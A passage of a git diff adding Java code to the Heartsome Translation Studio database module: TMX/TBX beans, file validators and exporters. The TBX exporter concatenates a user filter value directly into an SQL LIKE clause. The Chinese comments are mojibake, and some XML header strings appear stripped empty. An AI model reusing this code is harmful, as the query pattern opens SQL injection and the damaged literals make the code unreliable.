getSystemDbOperaterList(); + for (int i = 0; i < sysDbOp.size(); i++) { + SystemDBOperator dbOp = sysDbOp.get(i); + map.put(dbOp.getMetaData().getDbType(), dbOp.getMetaData()); + } + return map; + } + + /** + * 通过数æ®åº“元数æ®åº“获å–æ•°æ®åº“连接,主è¦å–æ•°æ®åº“类型 + * @param metaData + * @return ; + */ + public static SystemDBOperator getSysDbOperateByMetaData(MetaData metaData) { + @SuppressWarnings({ "rawtypes", "unchecked" }) + ServiceTracker tracker = new ServiceTracker(Activator.context, DBServiceProvider.class.getName(), null); + tracker.open(); + try { + Object[] services = tracker.getServices(); + for (Object i : services) { + DBServiceProvider serviceProvider = (DBServiceProvider) i; + SystemDBOperator temp = serviceProvider.getOperateDBInstance(); + if (temp == null) { + continue; + } + MetaData tempMetaData = temp.getMetaData(); + if (tempMetaData.getDbType().equals(metaData.getDbType())) { + tempMetaData.setDatabaseName(metaData.getDatabaseName()); + tempMetaData.setDataPath(metaData.getDataPath()); + tempMetaData.setInstance(metaData.getInstance()); + tempMetaData.setPassword(metaData.getPassword()); + tempMetaData.setPort(metaData.getPort()); + tempMetaData.setServerName(metaData.getServerName()); + tempMetaData.setTB(metaData.isTB()); + tempMetaData.setTM(metaData.isTM()); + tempMetaData.setUserName(metaData.getUserName()); + return temp; + } + } + } finally { + tracker.close(); + } + return null; + } + + public static String executeExport(ExportAbstract export, IProgressMonitor monitor) { + return export.executeExport(monitor); + } + + /** + * 预翻译 + * @param db + * @param srcText + * @param srcLang + * @param tgtLang + * @param minSimilarity + * @param caseSensitive + * ; + */ + public static void preTrasnlationMatch(DBOperator db, String srcText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive) { + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/ConcordanceBean.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/ConcordanceBean.java new file mode 100644 index 0000000..116cfbb --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/ConcordanceBean.java @@ -0,0 +1,109 @@ +package net.heartsome.cat.database.tmx; + +import java.util.List; + +import net.heartsome.cat.common.bean.TmxProp; + +/** + * 执行相关æœç´¢æ—¶éœ€è¦ç”¨åˆ°çš„ Bean + * @author peason + * @version + * @since JDK1.6 + */ +public class ConcordanceBean { + + /** 对应 MTU 表的 MTUPKID */ + private Integer id; + + /** 对应 MTU 表的 CREATIONID(创建者) */ + private String creationId; + + /** 对应 MTU 表的 CREATIONDATE(创建时间) */ + private String creationDate; + + /** 对应 MTU 表的 CHANGEID(更新者) */ + private String changeId; + + /** 对应 MTU 表的 CHANGEDATE(更新时间) */ + private String changeDate; + + /** 是å¦å¸¦æ ‡è®°ï¼ˆæŒ‡<prop type='x-flag'>HS-Flag</prop>),对应 MPROP 表 */ + private boolean blnIsFlag; + + private List languageList; + + /** è‡ªå®šä¹‰å±žæ€§é›†åˆ */ + private List attributeList; + + /** + * 构造方法 + */ + public ConcordanceBean() { + + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getCreationId() { + return creationId; + } + + public void setCreationId(String creationId) { + this.creationId = creationId; + } + + public String getCreationDate() { + return creationDate; + } + + public void setCreationDate(String creationDate) { + this.creationDate = creationDate; + } + + public String getChangeId() { + return changeId; + } + + public void setChangeId(String changeId) { + this.changeId = changeId; + } + + public String getChangeDate() { + return changeDate; + } + + public void setChangeDate(String changeDate) { + this.changeDate = changeDate; + } + + public List getLanguageList() { + return languageList; + } + + public void setLanguageList(List languageList) { + this.languageList = languageList; + } + + public boolean isBlnIsFlag() { + return blnIsFlag; + } + + public void setBlnIsFlag(boolean blnIsFlag) { + this.blnIsFlag = blnIsFlag; + } + + public List getAttributeList() { + return attributeList; + } + + public void setAttributeList(List attributeList) { + this.attributeList = attributeList; + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/LanguageTMX.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/LanguageTMX.java new file mode 100644 index 0000000..a75d51a --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/tmx/LanguageTMX.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.database.tmx; + +/** + * 执行相关æœç´¢æ—¶éœ€è¦ç”¨åˆ°çš„ Bean + * @author peason + * @version + * @since JDK1.6 + */ +public class LanguageTMX { + + /** 语言代ç ï¼Œå¦‚ en-US(对应 TEXTDATA çš„ LANG) */ + private String languageCode; + + /** 节点内容,å¯èƒ½åŒ…å«æ ‡è®°ï¼ˆå¯¹åº” TEXTDATA çš„ PURE 或 CONTENT) */ + private String text; + + public LanguageTMX() { + + } + + public LanguageTMX(String languageCode, String text) { + this.languageCode = languageCode; + this.text = text; + } + + public String getLanguageCode() { + return languageCode; + } + + public void setLanguageCode(String languageCode) { + this.languageCode = languageCode; + } + + public String getText() { + return text; + } + + public void setText(String text) { + this.text = text; + } + + + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/DocUtils.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/DocUtils.java new file mode 100644 index 0000000..f4caa8a --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/DocUtils.java @@ -0,0 +1,262 @@ +package net.heartsome.cat.document; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EOFException; +import com.ximpleware.EncodingException; +import com.ximpleware.EntityException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 文档工具类 + * @author terry + * @version + * @since JDK1.6 + */ +public class DocUtils { + + private static final Logger LOGGER = LoggerFactory.getLogger(DocUtils.class); + + /** + * 构造函数 + */ + protected DocUtils() { + throw new UnsupportedOperationException(); + } + + /** + * 判断是å¦æ˜¯æ­£ç¡®çš„ TBX 文件 + * @param fileName + * TBX 文件的全路径 + * @return å回null,验è¯å¤±è´¥ + * @throws ParseException + * @throws EntityException + * @throws EOFException + * @throws EncodingException + * @throws FileNotFoundException + */ + public static VTDUtils isTBX(String fileName) throws EncodingException, ParseException, FileNotFoundException { + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + File f = null; + try { + f = new File(fileName); + fis = new FileInputStream(f); + byte[] b = new byte[(int) f.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + // any other (not too big) value also can be here. + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + while (offset < b.length && (numRead = fis.read(b, offset, numOfBytes)) >= 0) { + offset += numRead; + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + } + vg.setDoc(b); + vg.parse(true); + + } catch (IOException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger1"), e); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + } + } + } + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + String rootPath = "/martif"; + VTDUtils vtdUtils = new VTDUtils(); + try { + vtdUtils.bind(vn); + ap.selectXPath(rootPath); + if (ap.evalXPath() == -1) { + // Map map = vtdUtils.getCurrentElementAttributs(); + // if (!"TBX".equalsIgnoreCase(map.get("type"))) { + // return null; + // } + // } else { + return null; + } + } catch (NavException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } finally { + vg.clear(); + } + return vtdUtils; + } + + /** + * 判断是å¦æ˜¯æ­£ç¡®çš„ TMX 文件 + * @param fileName + * @return ; + * @throws FileNotFoundException + * @throws ParseException + * @throws EntityException + * @throws EOFException + * @throws EncodingException + */ + public static VTDUtils isTMX(String fileName) throws FileNotFoundException, EncodingException, ParseException { + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + File f = null; + try { + f = new File(fileName); + fis = new FileInputStream(f); + byte[] b = new byte[(int) f.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + // any other (not too big) value also can be here. + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + while (offset < b.length && (numRead = fis.read(b, offset, numOfBytes)) >= 0) { + offset += numRead; + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + } + vg.setDoc(b); + vg.parse(true); + + } catch (IOException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger1"), e); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + } + } + } + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + String rootPath = "/tmx"; + VTDUtils vu = new VTDUtils(); + try { + vu.bind(vn); + ap.selectXPath(rootPath); + if (ap.evalXPath() == -1) { + return null; + } + } catch (NavException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("document.DocUtils.logger2"), e); + return null; + } finally { + vg.clear(); + } + + return vu; + } + + /** + * å–得在 TMX 规范中,哪些属性是日期类型的 + * @return ; + */ + public static List getTMDateProp() { + List result = new ArrayList(); + result.add("lastusagedate"); + result.add("creationdate"); + result.add("changedate"); + return result; + } + + public static String getTmxTbxPureText(VTDUtils vu) throws NavException, XPathParseException, XPathEvalException { + StringBuilder sb = new StringBuilder(); + VTDNav vn = vu.getVTDNav(); + try { + vn.push(); + sb.append(vu.getElementContent()); + AutoPilot ap = new AutoPilot(vn); + // 有å­èŠ‚点,å³æœ‰å†…部标记 + if (vu.getChildElementsCount() < 1) { + return sb.toString(); + } + ap.resetXPath(); + ap.selectXPath("./*"); + while (ap.evalXPath() != -1) { + String childNodeName = vu.getCurrentElementName(); + if ("g".equals(childNodeName) || "sub".equals(childNodeName) || "hi".equals(childNodeName) + || "mrk".equals(childNodeName) || "foreign".equals(childNodeName)) { + if (vu.getChildElementsCount() < 1) { + String childFrag = vu.getElementFragment(); + String childContent = vu.getElementContent(); + childContent = childContent == null ? "" : childContent; + int start = sb.indexOf(childFrag); + sb.replace(start, start + childFrag.length(), childContent); + } else { + String childFrag = vu.getElementFragment(); + String childContent = getTmxTbxPureText(vu); + childContent = childContent == null ? "" : childContent; + int start = sb.indexOf(childFrag); + sb.replace(start, start + childFrag.length(), childContent); + } + } else { + // ph节点的值为code data或者一个sub节点,因此,è¦è€ƒè™‘到sub节点的情况 + if (vu.getChildElementsCount() < 1) { + String childFrag = vu.getElementFragment(); + int start = sb.indexOf(childFrag); + sb.replace(start, start + childFrag.length(), ""); + } else { + String childFrag = vu.getElementFragment(); + String childContent = ""; + AutoPilot _ap = new AutoPilot(vn); + _ap.selectXPath("./*"); + while (_ap.evalXPath() != -1) { + if (vu.getChildElementsCount() <= 0) { + childContent += vu.getElementContent(); + } else { + childContent += getTmxTbxPureText(vu); + } + } + childContent = childContent == null ? "" : childContent; + int start = sb.indexOf(childFrag); + sb.replace(start, start + childFrag.length(), childContent); + } + } + } + } finally { + vn.pop(); + } + return sb.toString(); + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportAbstract.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportAbstract.java new file mode 100644 index 0000000..15e6e0c --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportAbstract.java @@ -0,0 +1,60 @@ +/** + * ExportAbstract.java + * + * Version information : + * + * Date:Feb 20, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.util.List; + +import net.heartsome.cat.database.bean.ExportDatabaseBean; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 导出时基本å‚æ•° + * @author Jason + * @version + * @since JDK1.6 + */ +public abstract class ExportAbstract { + public final static Logger logger = LoggerFactory.getLogger(ExportTmxImpl.class); + protected List dbList; // 需è¦å¯¼å‡ºçš„æ•°æ®åº“ + + protected ExportFilterBean filterBean; // 过滤规则 + + protected String encoding; // ç¼–ç æ ¼å¼ 默认值为UTFï¼8 + + public ExportAbstract(List dbList, ExportFilterBean filterBean, String encoding) { + this.dbList = dbList; + this.filterBean = filterBean; + this.encoding = encoding; + } + + /** + * 执行导出 + * @param monitor + * @return 返回结果信æ¯; + */ + public abstract String executeExport(IProgressMonitor monitor); + + protected String USER_CANCEL = Messages.getString("document.ExportAbstract.msg1"); + protected String DBOP_ERROR = Messages.getString("document.ExportAbstract.msg2"); + protected String JDBC_ERROR = Messages.getString("document.ExportAbstract.msg3"); + protected String FILE_ERROR = Messages.getString("document.ExportAbstract.msg4"); + protected String SUCCESS = Messages.getString("document.ExportAbstract.msg5"); + protected String RELEASE_DB_ERROR = Messages.getString("document.ExportAbstract.msg6"); + protected String RELEASE_FILE_ERROR = Messages.getString("document.ExportAbstract.msg7"); + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTbxImpl.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTbxImpl.java new file mode 100644 index 0000000..d383945 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTbxImpl.java @@ -0,0 +1,259 @@ +/** + * ExportTbxImpl.java + * + * Version information : + * + * Date:Feb 24, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.sql.SQLException; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.bean.ExportDatabaseBean; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportTbxImpl extends ExportAbstract { + + private FileOutputStream output; + + public ExportTbxImpl(List dbList, ExportFilterBean filterBean, String encoding) { + super(dbList, filterBean, encoding); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.document.ExportAbstract#executeExport(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public String executeExport(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + String whereResult = ""; + if (this.filterBean != null) { + StringBuffer whereBf = new StringBuffer(); + String connector = this.filterBean.getFilterConnector(); + List filterOptions = this.filterBean.getFilterOption(); + whereBf.append(" AND "); + for (Iterator iterator = filterOptions.iterator(); iterator.hasNext();) { + ExportFilterComponentBean filterBean = iterator.next(); + whereBf.append("PURE "); + whereBf.append("LIKE "); + whereBf.append("'%" + filterBean.getFilterVlaue() + "%' "); + whereBf.append(connector + " "); + } + whereResult = whereBf.toString(); + whereResult = whereResult.substring(0, whereResult.lastIndexOf(connector)); + } + monitor.beginTask("", dbList.size()); + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean db = iterator.next(); + String srcLang = db.getSrcLang(); + List needLang = db.getHasSelectedLangs(); + + DBOperator dbOp = DatabaseService.getDBOperator(db.getDbBean()); + try { + dbOp.start(); + output = new FileOutputStream(db.getExportFilePath()); + writeHeader(srcLang); + writeString("\n\n"); + List tPkId = dbOp.getAfterFilterTermEntryPK(whereResult, needLang); + // Fix Bug #2361 TBX文件导出问题--语言ä¸èƒ½æ­£ç¡®è¿‡æ»¤å¯¼å‡º by Jason + tPkId = dbOp.validateTermEntryPk(tPkId, needLang, srcLang); + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + subMonitor.beginTask(Messages.getString("document.ExportTbxImpl.task1") + db.getDbBean().getDatabaseName(), tPkId.size()); + subMonitor.setTaskName(Messages.getString("document.ExportTbxImpl.task1") + db.getDbBean().getDatabaseName()); + + for (int i = 0; i < tPkId.size(); i++) { + // long l = System.currentTimeMillis(); + if (monitor.isCanceled()) { + clearResource(); + return USER_CANCEL; + } + int termEntryPK = tPkId.get(i); + String termEntry = dbOp.retrieveTermEntry(termEntryPK); + if (termEntry != null && !termEntry.equals("")) { + writeString(termEntry); + } + subMonitor.worked(1); + } + + writeString("\n\n\n"); + } catch (SQLException e) { + logger.error(DBOP_ERROR, e); + e.printStackTrace(); + clearResource(); + return DBOP_ERROR + db.getDbBean().getDbType() + " " + db.getDbBean().getDatabaseName(); + } catch (ClassNotFoundException e) { + logger.error(JDBC_ERROR, e); + e.printStackTrace(); + clearResource(); + return JDBC_ERROR + db.getDbBean().getDbType(); + } catch (IOException e) { + logger.error(FILE_ERROR, e); + e.printStackTrace(); + clearResource(); + return FILE_ERROR + db.getDbBean().getDbType() + " " + db.getDbBean().getDatabaseName(); + } finally { + try { + output.close(); + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + logger.error(RELEASE_DB_ERROR, e); + } catch (IOException e) { + logger.error(RELEASE_FILE_ERROR, e); + } + } + filterLangSet(db.getExportFilePath(),srcLang, needLang); + } + monitor.done(); + return SUCCESS; + } + + /** + * 过滤从库中导出的langSet节点
    + * 在库中TremEntry是以整个节点进行存储的,因此,在导出åŽä¹Ÿæ˜¯æ•´ä¸ªèŠ‚点导出,所以会将无关的语言也导出æ¥ã€‚
    + * 在导出åŽï¼Œç”Ÿæˆçš„TBX文件中进语言进行过滤 + * @param filePath + * 导出åŽç”Ÿæˆçš„TBX文件路径 + * @param srcLang + * æºè¯­è¨€ + * @param needLang + * 当å‰éœ€è¦å¯¼å‡ºçš„语言; + */ + private void filterLangSet(String filePath, String srcLang, List needLang) { + try { + VTDGen vg = new VTDGen(); + if (vg.parseFile(filePath, true)) { + VTDUtils vu = new VTDUtils(vg.getNav()); + StringBuffer xpath = new StringBuffer("/martif/text/body/termEntry/langSet["); + + String noteXpathtemp = "starts-with(@id,'__LANG__,') or ends-with(@id,',__LANG__')"; + + StringBuffer noteTgtXpath = new StringBuffer(); + for (String lang : needLang) { + xpath.append("not(@xml:lang='" + lang + "') and "); + if(!lang.equals(srcLang)){ + noteTgtXpath.append(noteXpathtemp.replace("__LANG__", lang)).append(" or "); + } + } + String tgtLangXpath = noteTgtXpath.substring(0, noteTgtXpath.lastIndexOf("or")); + + StringBuffer noteXpath = new StringBuffer(); + noteXpath.append("/martif/text/body/termEntry/note["); + noteXpath.append("not("); + noteXpath.append("(").append(noteXpathtemp.replace("__LANG__", srcLang)).append(")"); + noteXpath.append(" and "); + noteXpath.append("(").append(tgtLangXpath).append(")"); + noteXpath.append(")"); + noteXpath.append("]"); + + String xpathStr = xpath.substring(0, xpath.lastIndexOf("and")) + "]"; + XMLModifier xm = new XMLModifier(vu.getVTDNav()); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + xm = vu.delete(ap, xm, xpathStr, VTDUtils.PILOT_TO_END); + xm = vu.delete(ap, xm, noteXpath.toString(), VTDUtils.PILOT_TO_END); + + FileOutputStream fos = new FileOutputStream(filePath); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } + } catch (NavException e) { + logger.error("", e); + e.printStackTrace(); + } catch (ModifyException e) { + logger.error("", e); + e.printStackTrace(); + } catch (FileNotFoundException e) { + logger.error("", e); + e.printStackTrace(); + } catch (TranscodeException e) { + logger.error("", e); + e.printStackTrace(); + } catch (IOException e) { + logger.error("", e); + e.printStackTrace(); + } + } + + /** + * 将内容写入文件 + * @param string + * @throws UnsupportedEncodingException + * @throws IOException + * ; + */ + private void writeString(String string) throws UnsupportedEncodingException, IOException { + output.write(string.getBytes(this.encoding)); + } + + /** + * 输出Header内容 + * @param srcLang + * @throws IOException + * ; + */ + private void writeHeader(String srcLang) throws IOException { + writeString("\n"); + + writeString("\n"); + writeString("\n"); + writeString("Generated by Heartsome Translation Studio TBX Exporter\n"); + writeString("

    tbxdefault.xcs

    \n"); + writeString("
    \n"); + } + + /** + * 清除所有已ç»ç”Ÿæˆçš„文件 ; + */ + private void clearResource() { + for (Iterator tempIt = dbList.iterator(); tempIt.hasNext();) { + ExportDatabaseBean tempDb = tempIt.next(); + String path = tempDb.getExportFilePath(); + File file = new File(path); + if (file.exists()) { + file.delete(); + } + } + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTmxImpl.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTmxImpl.java new file mode 100644 index 0000000..a7c00b8 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ExportTmxImpl.java @@ -0,0 +1,217 @@ +/** + * ExportTmxImpl.java + * + * Version information : + * + * Date:Feb 20, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.sql.SQLException; +import java.util.Calendar; +import java.util.Iterator; +import java.util.List; +import java.util.Locale; + +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.bean.ExportDatabaseBean; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.cat.database.service.DatabaseService; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportTmxImpl extends ExportAbstract { + private boolean isToplevelTmx; // 一级TMX + private boolean isTagLevelTmx; // 带标记的TMX + private FileOutputStream output; + + /** + * 构造函数 + * @param dbList + * æ•°æ®åº“列表 {@link ExportDatabaseBean} + * @param filterBean + * 过滤æ¡ä»¶ {@link ExportFilterBean} + * @param encoding + * 编辑规则 + * @param exportPath + * 导出的文件路径,一个库的情况下为文件,多个库的情况下为文件夹 + * @param isToplevelTmx + * 是å¦ä¸ºä¸€çº§TMX + * @param isTagLevelTmx + * 是å¦æ˜¯å¸¦æ ‡è®°çš„TMX + */ + public ExportTmxImpl(List dbList, ExportFilterBean filterBean, String encoding, + boolean isToplevelTmx, boolean isTagLevelTmx) { + super(dbList, filterBean, encoding); + this.isToplevelTmx = isToplevelTmx; + this.isTagLevelTmx = isTagLevelTmx; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.document.ExportAbstract#executeExport() + */ + @Override + public String executeExport(IProgressMonitor monitor) { + String mTuFilter = ""; + String textDataFilter = ""; + String mNoteFilter = ""; + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", dbList.size()); + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean db = iterator.next(); + String srcLang = db.getSrcLang(); + DBOperator dbOp = DatabaseService.getDBOperator(db.getDbBean()); + + // 过滤æ¡ä»¶ + if (this.filterBean != null) { + mTuFilter = dbOp.generationExportTMXFilter("MTU", this.filterBean); + textDataFilter = dbOp.generationExportTMXFilter("TEXTDATA", this.filterBean); + mNoteFilter = dbOp.generationExportTMXFilter("MNOTE", this.filterBean); + } + try { + dbOp.start(); + output = new FileOutputStream(db.getExportFilePath()); + + List filterTu = dbOp.getAfterFilterTuPk(mTuFilter, mNoteFilter, textDataFilter); + + writeHeader(srcLang); + writeString("\n"); + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + subMonitor.beginTask(Messages.getString("document.ExportTmxImpl.task1") + db.getDbBean().getDatabaseName(), filterTu.size()); + subMonitor.setTaskName(Messages.getString("document.ExportTmxImpl.task1") + db.getDbBean().getDatabaseName()); + for (int i = 0; i < filterTu.size(); i++) { +// long l = System.currentTimeMillis(); + if (monitor.isCanceled()) { + clearResource(); + break; + } + int tuPk = filterTu.get(i); + String tuNodeContent = dbOp + .retrieveTu(tuPk, db.getHasSelectedLangs(), isToplevelTmx, isTagLevelTmx); + if (tuNodeContent != null && !tuNodeContent.equals("")) { + writeString(tuNodeContent); + } + subMonitor.worked(1); + } + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + subMonitor.done(); + } catch (SQLException e) { + logger.error(DBOP_ERROR, e); + e.printStackTrace(); + clearResource(); + return DBOP_ERROR + db.getDbBean().getDbType() + " " + db.getDbBean().getDatabaseName(); + } catch (ClassNotFoundException e) { + logger.error(JDBC_ERROR, e); + e.printStackTrace(); + clearResource(); + return JDBC_ERROR + db.getDbBean().getDbType(); + } catch (IOException e) { + logger.error(FILE_ERROR, e); + e.printStackTrace(); + clearResource(); + return FILE_ERROR + db.getDbBean().getDbType() + " " + db.getDbBean().getDatabaseName(); + } finally { + try { + output.close(); + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + logger.error(RELEASE_DB_ERROR, e); + } catch (IOException e) { + logger.error(RELEASE_FILE_ERROR, e); + } + } + } + if(monitor.isCanceled()){ + return USER_CANCEL; + } + monitor.done(); + return SUCCESS; + } + + /** + * 清除所有已ç»ç”Ÿæˆçš„文件 ; + */ + private void clearResource() { + for (Iterator tempIt = dbList.iterator(); tempIt.hasNext();) { + ExportDatabaseBean tempDb = tempIt.next(); + String path = tempDb.getExportFilePath(); + File file = new File(path); + if (file.exists()) { + file.delete(); + } + } + } + + /** + * 输出Header内容 + * @param srcLang + * @throws IOException ; + */ + private void writeHeader(String srcLang) throws IOException { + writeString("\n"); + + writeString("\n"); + writeString("\n"); + writeString("
    \n" + "
